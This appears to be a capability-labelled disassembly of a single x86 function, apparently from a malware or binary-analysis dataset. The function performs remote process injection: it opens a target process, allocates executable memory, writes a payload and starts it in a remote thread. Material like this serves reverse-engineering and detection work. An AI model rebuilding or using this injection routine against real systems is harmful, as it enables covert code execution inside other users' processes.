Function at 0x10016bb3
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016c0e
push 0x19
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 4], eax
push htons
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10016c26
mov eax, 0x100f234f
push eax
push 1
mov ebx, 0x194
call fcn.100926d0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push dword [ebp - 0x14]
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10016c7a
push 0x81
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 8], eax
push htons
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10016c92
mov eax, 0x100f234f
push eax
push 1
mov ebx, 0x194
call fcn.100926d0
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0
push dword [ebp - 0x14]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x10016cbf
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10016cec
push 0xfa
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10016d37
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016d32
push 0x129
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
jmp 0x10016e8a
mov dword [ebp - 0x14], esp
push dword [ebp - 0x10]
push 4
push 0
push dword [ebp - 8]
push 0
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016d7d
push 0x18b
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10016dc8
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016dc3
push 0x20e
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
jmp 0x10016e8a
mov dword [ebp - 0x14], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016df4
push 0x257
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0xffffffff
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016e25
push 0x271
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016e5e
push 0x294
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x14], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10016e8a
push 0x2c7
push 0x40f39e2
push 6
call fcn.100910e2
add esp, 0xc
mov esp, ebp
pop ebp
ret 8